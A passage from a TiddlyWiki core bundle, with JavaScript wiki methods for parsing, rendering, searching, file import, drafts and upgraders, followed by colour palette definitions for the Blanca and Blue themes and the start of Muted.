URI of this content\n*/\nexports.parseText = function(type,text,options) {\n\ttext = text || \"\";\n\toptions = options || {};\n\t// Select a parser\n\tvar Parser = $tw.Wiki.parsers[type];\n\tif(!Parser && $tw.utils.getFileExtensionInfo(type)) {\n\t\tParser = $tw.Wiki.parsers[$tw.utils.getFileExtensionInfo(type).type];\n\t}\n\tif(!Parser) {\n\t\tParser = $tw.Wiki.parsers[options.defaultType || \"text/vnd.tiddlywiki\"];\n\t}\n\tif(!Parser) {\n\t\treturn null;\n\t}\n\t// Return the parser instance\n\treturn new Parser(type,text,{\n\t\tparseAsInline: options.parseAsInline,\n\t\twiki: this,\n\t\t_canonical_uri: options._canonical_uri\n\t});\n};\n\n/*\nParse a tiddler according to its MIME type\n*/\nexports.parseTiddler = function(title,options) {\n\toptions = $tw.utils.extend({},options);\n\tvar cacheType = options.parseAsInline ? \"inlineParseTree\" : \"blockParseTree\",\n\t\ttiddler = this.getTiddler(title),\n\t\tself = this;\n\treturn tiddler ? this.getCacheForTiddler(title,cacheType,function() {\n\t\t\tif(tiddler.hasField(\"_canonical_uri\")) {\n\t\t\t\toptions._canonical_uri = tiddler.fields._canonical_uri;\n\t\t\t}\n\t\t\treturn self.parseText(tiddler.fields.type,tiddler.fields.text,options);\n\t\t}) : null;\n};\n\nexports.parseTextReference = function(title,field,index,options) {\n\tvar tiddler,text;\n\tif(options.subTiddler) {\n\t\ttiddler = this.getSubTiddler(title,options.subTiddler);\n\t} else {\n\t\ttiddler = this.getTiddler(title);\n\t\tif(field === \"text\" || (!field && !index)) {\n\t\t\tthis.getTiddlerText(title); // Force the tiddler to be lazily loaded\n\t\t\treturn this.parseTiddler(title,options);\n\t\t}\n\t}\n\tif(field === \"text\" || (!field && !index)) {\n\t\tif(tiddler && tiddler.fields) {\n\t\t\treturn this.parseText(tiddler.fields.type,tiddler.fields.text,options);\t\t\t\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t} else if(field) {\n\t\tif(field === \"title\") {\n\t\t\ttext = title;\n\t\t} else {\n\t\t\tif(!tiddler || !tiddler.hasField(field)) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\ttext = tiddler.fields[field];\n\t\t}\n\t\treturn this.parseText(\"text/vnd.tiddlywiki\",text.toString(),options);\n\t} else if(index) {\n\t\tthis.getTiddlerText(title); // Force the tiddler to be lazily loaded\n\t\ttext = this.extractTiddlerDataItem(tiddler,index,undefined);\n\t\tif(text === undefined) {\n\t\t\treturn null;\n\t\t}\n\t\treturn this.parseText(\"text/vnd.tiddlywiki\",text,options);\n\t}\n};\n\n/*\nMake a widget tree for a parse tree\nparser: parser object\noptions: see below\nOptions include:\ndocument: optional document to use\nvariables: hashmap of variables to set\nparentWidget: optional parent widget for the root node\n*/\nexports.makeWidget = function(parser,options) {\n\toptions = options || {};\n\tvar widgetNode = {\n\t\t\ttype: \"widget\",\n\t\t\tchildren: []\n\t\t},\n\t\tcurrWidgetNode = widgetNode;\n\t// Create set variable widgets for each variable\n\t$tw.utils.each(options.variables,function(value,name) {\n\t\tvar setVariableWidget = {\n\t\t\ttype: \"set\",\n\t\t\tattributes: {\n\t\t\t\tname: {type: \"string\", value: name},\n\t\t\t\tvalue: {type: \"string\", value: value}\n\t\t\t},\n\t\t\tchildren: []\n\t\t};\n\t\tcurrWidgetNode.children = [setVariableWidget];\n\t\tcurrWidgetNode = setVariableWidget;\n\t});\n\t// Add in the supplied parse tree nodes\n\tcurrWidgetNode.children = parser ? parser.tree : [];\n\t// Create the widget\n\treturn new widget.widget(widgetNode,{\n\t\twiki: this,\n\t\tdocument: options.document || $tw.fakeDocument,\n\t\tparentWidget: options.parentWidget\n\t});\n};\n\n/*\nMake a widget tree for transclusion\ntitle: target tiddler title\noptions: as for wiki.makeWidget() plus:\noptions.field: optional field to transclude (defaults to \"text\")\noptions.mode: transclusion mode \"inline\" or \"block\"\noptions.children: optional array of children for the transclude widget\noptions.importVariables: optional importvariables filter string for macros to be included\noptions.importPageMacros: optional boolean; if true, equivalent to passing \"[[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\" to options.importVariables\n*/\nexports.makeTranscludeWidget = function(title,options) {\n\toptions = options || {};\n\tvar parseTreeDiv = {tree: [{\n\t\t\ttype: \"element\",\n\t\t\ttag: \"div\",\n\t\t\tchildren: []}]},\n\t\tparseTreeImportVariables = {\n\t\t\ttype: \"importvariables\",\n\t\t\tattributes: {\n\t\t\t\tfilter: {\n\t\t\t\t\tname: \"filter\",\n\t\t\t\t\ttype: \"string\"\n\t\t\t\t}\n\t\t\t},\n\t\t\tisBlock: false,\n\t\t\tchildren: []},\n\t\tparseTreeTransclude = {\n\t\t\ttype: \"transclude\",\n\t\t\tattributes: {\n\t\t\t\ttiddler: {\n\t\t\t\t\tname: \"tiddler\",\n\t\t\t\t\ttype: \"string\",\n\t\t\t\t\tvalue: title}},\n\t\t\tisBlock: !options.parseAsInline};\n\tif(options.importVariables || options.importPageMacros) {\n\t\tif(options.importVariables) {\n\t\t\tparseTreeImportVariables.attributes.filter.value = options.importVariables;\n\t\t} else if(options.importPageMacros) {\n\t\t\tparseTreeImportVariables.attributes.filter.value = \"[[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\";\n\t\t}\n\t\tparseTreeDiv.tree[0].children.push(parseTreeImportVariables);\n\t\tparseTreeImportVariables.children.push(parseTreeTransclude);\n\t} else {\n\t\tparseTreeDiv.tree[0].children.push(parseTreeTransclude);\n\t}\n\tif(options.field) {\n\t\tparseTreeTransclude.attributes.field = {type: \"string\", value: options.field};\n\t}\n\tif(options.mode) {\n\t\tparseTreeTransclude.attributes.mode = {type: \"string\", value: options.mode};\n\t}\n\tif(options.children) {\n\t\tparseTreeTransclude.children = options.children;\n\t}\n\treturn $tw.wiki.makeWidget(parseTreeDiv,options);\n};\n\n/*\nParse text in a specified format and render it into another format\n\toutputType: content type for the output\n\ttextType: content type of the input text\n\ttext: input text\n\toptions: see below\nOptions include:\nvariables: hashmap of variables to set\nparentWidget: optional parent widget for the root node\n*/\nexports.renderText = function(outputType,textType,text,options) {\n\toptions = options || {};\n\tvar parser = this.parseText(textType,text,options),\n\t\twidgetNode = this.makeWidget(parser,options);\n\tvar container = $tw.fakeDocument.createElement(\"div\");\n\twidgetNode.render(container,null);\n\treturn outputType === \"text/html\" ? container.innerHTML : container.textContent;\n};\n\n/*\nParse text from a tiddler and render it into another format\n\toutputType: content type for the output\n\ttitle: title of the tiddler to be rendered\n\toptions: see below\nOptions include:\nvariables: hashmap of variables to set\nparentWidget: optional parent widget for the root node\n*/\nexports.renderTiddler = function(outputType,title,options) {\n\toptions = options || {};\n\tvar parser = this.parseTiddler(title,options),\n\t\twidgetNode = this.makeWidget(parser,options);\n\tvar container = $tw.fakeDocument.createElement(\"div\");\n\twidgetNode.render(container,null);\n\treturn outputType === \"text/html\" ? container.innerHTML : (outputType === \"text/plain-formatted\" ? container.formattedTextContent : container.textContent);\n};\n\n/*\nReturn an array of tiddler titles that match a search string\n\ttext: The text string to search for\n\toptions: see below\nOptions available:\n\tsource: an iterator function for the source tiddlers, called source(iterator), where iterator is called as iterator(tiddler,title)\n\texclude: An array of tiddler titles to exclude from the search\n\tinvert: If true returns tiddlers that do not contain the specified string\n\tcaseSensitive: If true forces a case sensitive search\n\tfield: If specified, restricts the search to the specified field, or an array of field names\n\tanchored: If true, forces all but regexp searches to be anchored to the start of text\n\texcludeField: If true, the field options are inverted to specify the fields that are not to be searched\n\tThe search mode is determined by the first of these boolean flags to be true\n\t\tliteral: searches for literal string\n\t\twhitespace: same as literal except runs of whitespace are treated as a single space\n\t\tregexp: treats the search term as a regular expression\n\t\twords: (default) treats search string as a list of tokens, and matches if all tokens are found, regardless of adjacency or ordering\n*/\nexports.search = function(text,options) {\n\toptions = options || {};\n\tvar self = this,\n\t\tt,\n\t\tinvert = !!options.invert;\n\t// Convert the search string into a regexp for each term\n\tvar terms, searchTermsRegExps,\n\t\tflags = options.caseSensitive ? \"\" : \"i\",\n\t\tanchor = options.anchored ? \"^\" : \"\";\n\tif(options.literal) {\n\t\tif(text.length === 0) {\n\t\t\tsearchTermsRegExps = null;\n\t\t} else {\n\t\t\tsearchTermsRegExps = [new RegExp(\"(\" + anchor + $tw.utils.escapeRegExp(text) + \")\",flags)];\n\t\t}\n\t} else if(options.whitespace) {\n\t\tterms = [];\n\t\t$tw.utils.each(text.split(/\\s+/g),function(term) {\n\t\t\tif(term) {\n\t\t\t\tterms.push($tw.utils.escapeRegExp(term));\n\t\t\t}\n\t\t});\n\t\tsearchTermsRegExps = [new RegExp(\"(\" + anchor + terms.join(\"\\\\s+\") + \")\",flags)];\n\t} else if(options.regexp) {\n\t\ttry {\n\t\t\tsearchTermsRegExps = [new RegExp(\"(\" + text + \")\",flags)];\t\t\t\n\t\t} catch(e) {\n\t\t\tsearchTermsRegExps = null;\n\t\t\tconsole.log(\"Regexp error parsing /(\" + text + \")/\" + flags + \": \",e);\n\t\t}\n\t} else {\n\t\tterms = text.split(/ +/);\n\t\tif(terms.length === 1 && terms[0] === \"\") {\n\t\t\tsearchTermsRegExps = null;\n\t\t} else {\n\t\t\tsearchTermsRegExps = [];\n\t\t\tfor(t=0; t<terms.length; t++) {\n\t\t\t\tsearchTermsRegExps.push(new RegExp(\"(\" + anchor + $tw.utils.escapeRegExp(terms[t]) + \")\",flags));\n\t\t\t}\n\t\t}\n\t}\n\t// Accumulate the array of fields to be searched or excluded from the search\n\tvar fields = [];\n\tif(options.field) {\n\t\tif($tw.utils.isArray(options.field)) {\n\t\t\t$tw.utils.each(options.field,function(fieldName) {\n\t\t\t\tif(fieldName) {\n\t\t\t\t\tfields.push(fieldName);\t\t\t\t\t\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tfields.push(options.field);\n\t\t}\n\t}\n\t// Use default fields if none specified and we're not excluding fields (excluding fields with an empty field array is the same as searching all fields)\n\tif(fields.length === 0 && !options.excludeField) {\n\t\tfields.push(\"title\");\n\t\tfields.push(\"tags\");\n\t\tfields.push(\"text\");\n\t}\n\t// Function to check a given tiddler for the search term\n\tvar searchTiddler = function(title) {\n\t\tif(!searchTermsRegExps) {\n\t\t\treturn true;\n\t\t}\n\t\tvar notYetFound = searchTermsRegExps.slice();\n\n\t\tvar tiddler = self.getTiddler(title);\n\t\tif(!tiddler) {\n\t\t\ttiddler = new $tw.Tiddler({title: title, text: \"\", type: \"text/vnd.tiddlywiki\"});\n\t\t}\n\t\tvar contentTypeInfo = $tw.config.contentTypeInfo[tiddler.fields.type] || $tw.config.contentTypeInfo[\"text/vnd.tiddlywiki\"],\n\t\t\tsearchFields;\n\t\t// Get the list of fields we're searching\n\t\tif(options.excludeField) {\n\t\t\tsearchFields = Object.keys(tiddler.fields);\n\t\t\t$tw.utils.each(fields,function(fieldName) {\n\t\t\t\tvar p = searchFields.indexOf(fieldName);\n\t\t\t\tif(p !== -1) {\n\t\t\t\t\tsearchFields.splice(p,1);\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tsearchFields = fields;\n\t\t}\n\t\tfor(var fieldIndex=0; notYetFound.length>0 && fieldIndex<searchFields.length; fieldIndex++) {\n\t\t\t// Don't search the text field if the content type is binary\n\t\t\tvar fieldName = searchFields[fieldIndex];\n\t\t\tif(fieldName === \"text\" && contentTypeInfo.encoding !== \"utf8\") {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tvar str = tiddler.fields[fieldName],\n\t\t\t\tt;\n\t\t\tif(str) {\n\t\t\t\tif($tw.utils.isArray(str)) {\n\t\t\t\t\t// If the field value is an array, test each regexp against each field array entry and fail if each regexp doesn't match at least one field array entry\n\t\t\t\t\tfor(var s=0; s<str.length; s++) {\n\t\t\t\t\t\tfor(t=0; t<notYetFound.length;) {\n\t\t\t\t\t\t\tif(notYetFound[t].test(str[s])) {\n\t\t\t\t\t\t\t\tnotYetFound.splice(t, 1);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tt++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// If the field isn't an array, force it to a string and test each regexp against it and fail if any do not match\n\t\t\t\t\tstr = tiddler.getFieldString(fieldName);\n\t\t\t\t\tfor(t=0; t<notYetFound.length;) {\n\t\t\t\t\t\tif(notYetFound[t].test(str)) {\n\t\t\t\t\t\t\tnotYetFound.splice(t, 1);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tt++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\treturn notYetFound.length == 0;\n\t};\n\t// Loop through all the tiddlers doing the search\n\tvar results = [],\n\t\tsource = options.source || this.each;\n\tsource(function(tiddler,title) {\n\t\tif(searchTiddler(title) !== options.invert) {\n\t\t\tresults.push(title);\n\t\t}\n\t});\n\t// Remove any of the results we have to exclude\n\tif(options.exclude) {\n\t\tfor(t=0; t<options.exclude.length; t++) {\n\t\t\tvar p = results.indexOf(options.exclude[t]);\n\t\t\tif(p !== -1) {\n\t\t\t\tresults.splice(p,1);\n\t\t\t}\n\t\t}\n\t}\n\treturn results;\n};\n\n/*\nTrigger a load for a tiddler if it is skinny. Returns the text, or undefined if the tiddler is missing, null if the tiddler is being lazily loaded.\n*/\nexports.getTiddlerText = function(title,defaultText) {\n\tvar tiddler = this.getTiddler(title);\n\t// Return undefined if the tiddler isn't found\n\tif(!tiddler) {\n\t\treturn defaultText;\n\t}\n\tif(!tiddler.hasField(\"_is_skinny\")) {\n\t\t// Just return the text if we've got it\n\t\treturn tiddler.fields.text || \"\";\n\t} else {\n\t\t// Tell any listeners about the need to lazily load this tiddler\n\t\tthis.dispatchEvent(\"lazyLoad\",title);\n\t\t// Indicate that the text is being loaded\n\t\treturn null;\n\t}\n};\n\n/*\nCheck whether the text of a tiddler matches a given value. By default, the comparison is case insensitive, and any spaces at either end of the tiddler text is trimmed\n*/\nexports.checkTiddlerText = function(title,targetText,options) {\n\toptions = options || {};\n\tvar text = this.getTiddlerText(title,\"\");\n\tif(!options.noTrim) {\n\t\ttext = text.trim();\n\t}\n\tif(!options.caseSensitive) {\n\t\ttext = text.toLowerCase();\n\t\ttargetText = targetText.toLowerCase();\n\t}\n\treturn text === targetText;\n}\n\n/*\nRead an array of browser File objects, invoking callback(tiddlerFieldsArray) once they're all read\n*/\nexports.readFiles = function(files,options) {\n\tvar callback;\n\tif(typeof options === \"function\") {\n\t\tcallback = options;\n\t\toptions = {};\n\t} else {\n\t\tcallback = options.callback;\n\t}\n\tvar result = [],\n\t\toutstanding = files.length,\n\t\treadFileCallback = function(tiddlerFieldsArray) {\n\t\t\tresult.push.apply(result,tiddlerFieldsArray);\n\t\t\tif(--outstanding === 0) {\n\t\t\t\tcallback(result);\n\t\t\t}\n\t\t};\n\tfor(var f=0; f<files.length; f++) {\n\t\tthis.readFile(files[f],$tw.utils.extend({},options,{callback: readFileCallback}));\n\t}\n\treturn files.length;\n};\n\n/*\nRead a browser File object, invoking callback(tiddlerFieldsArray) with an array of tiddler fields objects\n*/\nexports.readFile = function(file,options) {\n\tvar callback;\n\tif(typeof options === \"function\") {\n\t\tcallback = options;\n\t\toptions = {};\n\t} else {\n\t\tcallback = options.callback;\n\t}\n\t// Get the type, falling back to the filename extension\n\tvar self = this,\n\t\ttype = file.type;\n\tif(type === \"\" || !type) {\n\t\tvar dotPos = file.name.lastIndexOf(\".\");\n\t\tif(dotPos !== -1) {\n\t\t\tvar fileExtensionInfo = $tw.utils.getFileExtensionInfo(file.name.substr(dotPos));\n\t\t\tif(fileExtensionInfo) {\n\t\t\t\ttype = fileExtensionInfo.type;\n\t\t\t}\n\t\t}\n\t}\n\t// Figure out if we're reading a binary file\n\tvar contentTypeInfo = $tw.config.contentTypeInfo[type],\n\t\tisBinary = contentTypeInfo ? contentTypeInfo.encoding === \"base64\" : false;\n\t// Log some debugging information\n\tif($tw.log.IMPORT) {\n\t\tconsole.log(\"Importing file '\" + file.name + \"', type: '\" + type + \"', isBinary: \" + isBinary);\n\t}\n\t// Give the hook a chance to process the drag\n\tif($tw.hooks.invokeHook(\"th-importing-file\",{\n\t\tfile: file,\n\t\ttype: type,\n\t\tisBinary: isBinary,\n\t\tcallback: callback\n\t}) !== true) {\n\t\tthis.readFileContent(file,type,isBinary,options.deserializer,callback);\n\t}\n};\n\n/*\nLower level utility to read the content of a browser File object, invoking callback(tiddlerFieldsArray) with an array of tiddler fields objects\n*/\nexports.readFileContent = function(file,type,isBinary,deserializer,callback) {\n\tvar self = this;\n\t// Create the FileReader\n\tvar reader = new FileReader();\n\t// Onload\n\treader.onload = function(event) {\n\t\tvar text = event.target.result,\n\t\t\ttiddlerFields = {title: file.name || \"Untitled\", type: type};\n\t\tif(isBinary) {\n\t\t\tvar commaPos = text.indexOf(\",\");\n\t\t\tif(commaPos !== -1) {\n\t\t\t\ttext = text.substr(commaPos + 1);\n\t\t\t}\n\t\t}\n\t\t// Check whether this is an encrypted TiddlyWiki file\n\t\tvar encryptedJson = $tw.utils.extractEncryptedStoreArea(text);\n\t\tif(encryptedJson) {\n\t\t\t// If so, attempt to decrypt it with the current password\n\t\t\t$tw.utils.decryptStoreAreaInteractive(encryptedJson,function(tiddlers) {\n\t\t\t\tcallback(tiddlers);\n\t\t\t});\n\t\t} else {\n\t\t\t// Otherwise, just try to deserialise any tiddlers in the file\n\t\t\tcallback(self.deserializeTiddlers(type,text,tiddlerFields,{deserializer: deserializer}));\n\t\t}\n\t};\n\t// Kick off the read\n\tif(isBinary) {\n\t\treader.readAsDataURL(file);\n\t} else {\n\t\treader.readAsText(file);\n\t}\n};\n\n/*\nFind any existing draft of a specified tiddler\n*/\nexports.findDraft = function(targetTitle) {\n\tvar draftTitle = undefined;\n\tthis.forEachTiddler({includeSystem: true},function(title,tiddler) {\n\t\tif(tiddler.fields[\"draft.title\"] && tiddler.fields[\"draft.of\"] === targetTitle) {\n\t\t\tdraftTitle = title;\n\t\t}\n\t});\n\treturn draftTitle;\n}\n\n/*\nCheck whether the specified draft tiddler has been modified.\nIf the original tiddler doesn't exist, create a vanilla tiddler variable,\nto check if additional fields have been added.\n*/\nexports.isDraftModified = function(title) {\n\tvar tiddler = this.getTiddler(title);\n\tif(!tiddler.isDraft()) {\n\t\treturn false;\n\t}\n\tvar ignoredFields = [\"created\", \"modified\", \"title\", \"draft.title\", \"draft.of\"],\n\t\torigTiddler = this.getTiddler(tiddler.fields[\"draft.of\"]) || new $tw.Tiddler({text:\"\", tags:[]}),\n\t\ttitleModified = tiddler.fields[\"draft.title\"] !== tiddler.fields[\"draft.of\"];\n\treturn titleModified || !tiddler.isEqual(origTiddler,ignoredFields);\n};\n\n/*\nAdd a new record to the top of the history stack\ntitle: a title string or an array of title strings\nfromPageRect: page coordinates of the origin of the navigation\nhistoryTitle: title of history tiddler (defaults to $:/HistoryList)\n*/\nexports.addToHistory = function(title,fromPageRect,historyTitle) {\n\tvar story = new $tw.Story({wiki: this, historyTitle: historyTitle});\n\tstory.addToHistory(title,fromPageRect);\t\t\n};\n\n/*\nAdd a new tiddler to the story river\ntitle: a title string or an array of title strings\nfromTitle: the title of the tiddler from which the navigation originated\nstoryTitle: title of story tiddler (defaults to $:/StoryList)\noptions: see story.js\n*/\nexports.addToStory = function(title,fromTitle,storyTitle,options) {\n\tvar story = new $tw.Story({wiki: this, storyTitle: storyTitle});\n\tstory.addToStory(title,fromTitle,options);\t\t\n};\n\n/*\nGenerate a title for the draft of a given tiddler\n*/\nexports.generateDraftTitle = function(title) {\n\tvar c = 0,\n\t\tdraftTitle,\n\t\tusername = this.getTiddlerText(\"$:/status/UserName\"),\n\t\tattribution = username ? \" by \" + username : \"\";\n\tdo {\n\t\tdraftTitle = \"Draft \" + (c ? (c + 1) + \" \" : \"\") + \"of '\" + title + \"'\" + attribution;\n\t\tc++;\n\t} while(this.tiddlerExists(draftTitle));\n\treturn draftTitle;\n};\n\n/*\nInvoke the available upgrader modules\ntitles: array of tiddler titles to be processed\ntiddlers: hashmap by title of tiddler fields of pending import tiddlers. These can be modified by the upgraders. An entry with no fields indicates a tiddler that was pending import has been suppressed. When entries are added to the pending import the tiddlers hashmap may have entries that are not present in the titles array\nReturns a hashmap of messages keyed by tiddler title.\n*/\nexports.invokeUpgraders = function(titles,tiddlers) {\n\t// Collect up the available upgrader modules\n\tvar self = this;\n\tif(!this.upgraderModules) {\n\t\tthis.upgraderModules = [];\n\t\t$tw.modules.forEachModuleOfType(\"upgrader\",function(title,module) {\n\t\t\tif(module.upgrade) {\n\t\t\t\tself.upgraderModules.push(module);\n\t\t\t}\n\t\t});\n\t}\n\t// Invoke each upgrader in turn\n\tvar messages = {};\n\tfor(var t=0; t<this.upgraderModules.length; t++) {\n\t\tvar upgrader = this.upgraderModules[t],\n\t\t\tupgraderMessages = upgrader.upgrade(this,titles,tiddlers);\n\t\t$tw.utils.extend(messages,upgraderMessages);\n\t}\n\treturn messages;\n};\n\n// Determine whether a plugin by title is dynamically loadable\nexports.doesPluginRequireReload = function(title) {\n\treturn this.doesPluginInfoRequireReload(this.getPluginInfo(title) || this.getTiddlerDataCached(title));\n};\n\n// Determine whether a plugin info structure is dynamically loadable\nexports.doesPluginInfoRequireReload = function(pluginInfo) {\n\tif(pluginInfo) {\n\t\tvar foundModule = false;\n\t\t$tw.utils.each(pluginInfo.tiddlers,function(tiddler) {\n\t\t\tif(tiddler.type === \"application/javascript\" && $tw.utils.hop(tiddler,\"module-type\")) {\n\t\t\t\tfoundModule = true;\n\t\t\t}\n\t\t});\n\t\treturn foundModule;\n\t} else {\n\t\treturn null;\n\t}\n};\n\n})();\n\n",
"type": "application/javascript",
"module-type": "wikimethod"
},
"$:/palettes/Blanca": {
"title": "$:/palettes/Blanca",
"name": "Blanca",
"description": "A clean white palette to let you focus",
"tags": "$:/tags/Palette",
"type": "application/x-tiddler-dictionary",
"text": "alert-background: #ffe476\nalert-border: #b99e2f\nalert-highlight: #881122\nalert-muted-foreground: #b99e2f\nbackground: #ffffff\nblockquote-bar: <<colour muted-foreground>>\nbutton-background:\nbutton-foreground:\nbutton-border:\ncode-background: #f7f7f9\ncode-border: #e1e1e8\ncode-foreground: #dd1144\ndirty-indicator: #ff0000\ndownload-background: #66cccc\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour muted-foreground>>\ndropdown-tab-background-selected: #fff\ndropdown-tab-background: #ececec\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #0000aa\nexternal-link-foreground: #0000ee\nforeground: #333333\nmessage-background: #ecf2ff\nmessage-border: #cfd6e6\nmessage-foreground: #547599\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: #999999\nmodal-footer-background: #f5f5f5\nmodal-footer-border: #dddddd\nmodal-header-border: #eeeeee\nmuted-foreground: #999999\nnotification-background: #ffffdd\nnotification-border: #999999\npage-background: #ffffff\npre-background: #f5f5f5\npre-border: #cccccc\nprimary: #7897f3\nselect-tag-background:\nselect-tag-foreground:\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: #000000\nsidebar-controls-foreground: #ccc\nsidebar-foreground-shadow: rgba(255,255,255, 0.8)\nsidebar-foreground: #acacac\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: #c0c0c0\nsidebar-tab-background-selected: #ffffff\nsidebar-tab-background: <<colour tab-background>>\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: <<colour tab-border>>\nsidebar-tab-divider: <<colour tab-divider>>\nsidebar-tab-foreground-selected: \nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: #444444\nsidebar-tiddler-link-foreground: #7897f3\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: #ffffff\ntab-background: #eeeeee\ntab-border-selected: #cccccc\ntab-border: #cccccc\ntab-divider: #d8d8d8\ntab-foreground-selected: <<colour tab-foreground>>\ntab-foreground: #666666\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #ffeedd\ntag-foreground: #000\ntiddler-background: <<colour background>>\ntiddler-border: #eee\ntiddler-controls-foreground-hover: #888888\ntiddler-controls-foreground-selected: #444444\ntiddler-controls-foreground: #cccccc\ntiddler-editor-background: #f8f8f8\ntiddler-editor-border-image: #ffffff\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: #e0e8e0\ntiddler-editor-fields-odd: #f0f4f0\ntiddler-info-background: #f8f8f8\ntiddler-info-border: #dddddd\ntiddler-info-tab-background: #f8f8f8\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: #c0c0c0\ntiddler-title-foreground: #ff9900\ntoolbar-new-button:\ntoolbar-options-button:\ntoolbar-save-button:\ntoolbar-info-button:\ntoolbar-edit-button:\ntoolbar-close-button:\ntoolbar-delete-button:\ntoolbar-cancel-button:\ntoolbar-done-button:\nuntagged-background: #999999\nvery-muted-foreground: #888888\n"
},
"$:/palettes/Blue": {
"title": "$:/palettes/Blue",
"name": "Blue",
"description": "A blue theme",
"tags": "$:/tags/Palette",
"type": "application/x-tiddler-dictionary",
"text": "alert-background: #ffe476\nalert-border: #b99e2f\nalert-highlight: #881122\nalert-muted-foreground: #b99e2f\nbackground: #fff\nblockquote-bar: <<colour muted-foreground>>\nbutton-background:\nbutton-foreground:\nbutton-border:\ncode-background: #f7f7f9\ncode-border: #e1e1e8\ncode-foreground: #dd1144\ndirty-indicator: #ff0000\ndownload-background: #34c734\ndownload-foreground: <<colour foreground>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour muted-foreground>>\ndropdown-tab-background-selected: #fff\ndropdown-tab-background: #ececec\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #0000aa\nexternal-link-foreground: #0000ee\nforeground: #333353\nmessage-background: #ecf2ff\nmessage-border: #cfd6e6\nmessage-foreground: #547599\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: #999999\nmodal-footer-background: #f5f5f5\nmodal-footer-border: #dddddd\nmodal-header-border: #eeeeee\nmuted-foreground: #999999\nnotification-background: #ffffdd\nnotification-border: #999999\npage-background: #ddddff\npre-background: #f5f5f5\npre-border: #cccccc\nprimary: #5778d8\nselect-tag-background:\nselect-tag-foreground:\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: #000000\nsidebar-controls-foreground: #ffffff\nsidebar-foreground-shadow: rgba(255,255,255, 0.8)\nsidebar-foreground: #acacac\nsidebar-muted-foreground-hover: #444444\nsidebar-muted-foreground: #c0c0c0\nsidebar-tab-background-selected: <<colour page-background>>\nsidebar-tab-background: <<colour tab-background>>\nsidebar-tab-border-selected: <<colour tab-border-selected>>\nsidebar-tab-border: <<colour tab-border>>\nsidebar-tab-divider: <<colour tab-divider>>\nsidebar-tab-foreground-selected: \nsidebar-tab-foreground: <<colour tab-foreground>>\nsidebar-tiddler-link-foreground-hover: #444444\nsidebar-tiddler-link-foreground: #5959c0\nsite-title-foreground: <<colour tiddler-title-foreground>>\nstatic-alert-foreground: #aaaaaa\ntab-background-selected: <<colour background>>\ntab-background: #ccccdd\ntab-border-selected: #ccccdd\ntab-border: #cccccc\ntab-divider: #d8d8d8\ntab-foreground-selected: <<colour tab-foreground>>\ntab-foreground: #666666\ntable-border: #dddddd\ntable-footer-background: #a8a8a8\ntable-header-background: #f0f0f0\ntag-background: #eeeeff\ntag-foreground: #000\ntiddler-background: <<colour background>>\ntiddler-border: <<colour background>>\ntiddler-controls-foreground-hover: #666666\ntiddler-controls-foreground-selected: #444444\ntiddler-controls-foreground: #cccccc\ntiddler-editor-background: #f8f8f8\ntiddler-editor-border-image: #ffffff\ntiddler-editor-border: #cccccc\ntiddler-editor-fields-even: #e0e8e0\ntiddler-editor-fields-odd: #f0f4f0\ntiddler-info-background: #ffffff\ntiddler-info-border: #dddddd\ntiddler-info-tab-background: #ffffff\ntiddler-link-background: <<colour background>>\ntiddler-link-foreground: <<colour primary>>\ntiddler-subtitle-foreground: #c0c0c0\ntiddler-title-foreground: #5959c0\ntoolbar-new-button: #5eb95e\ntoolbar-options-button: rgb(128, 88, 165)\ntoolbar-save-button: #0e90d2\ntoolbar-info-button: #0e90d2\ntoolbar-edit-button: rgb(243, 123, 29)\ntoolbar-close-button: #dd514c\ntoolbar-delete-button: #dd514c\ntoolbar-cancel-button: rgb(243, 123, 29)\ntoolbar-done-button: #5eb95e\nuntagged-background: #999999\nvery-muted-foreground: #888888\n"
},
"$:/palettes/Muted": {
"title": "$:/palettes/Muted",
"name": "Muted",
"description": "Bright tiddlers on a muted background",
"tags": "$:/tags/Palette",
"type": "application/x-tiddler-dictionary",
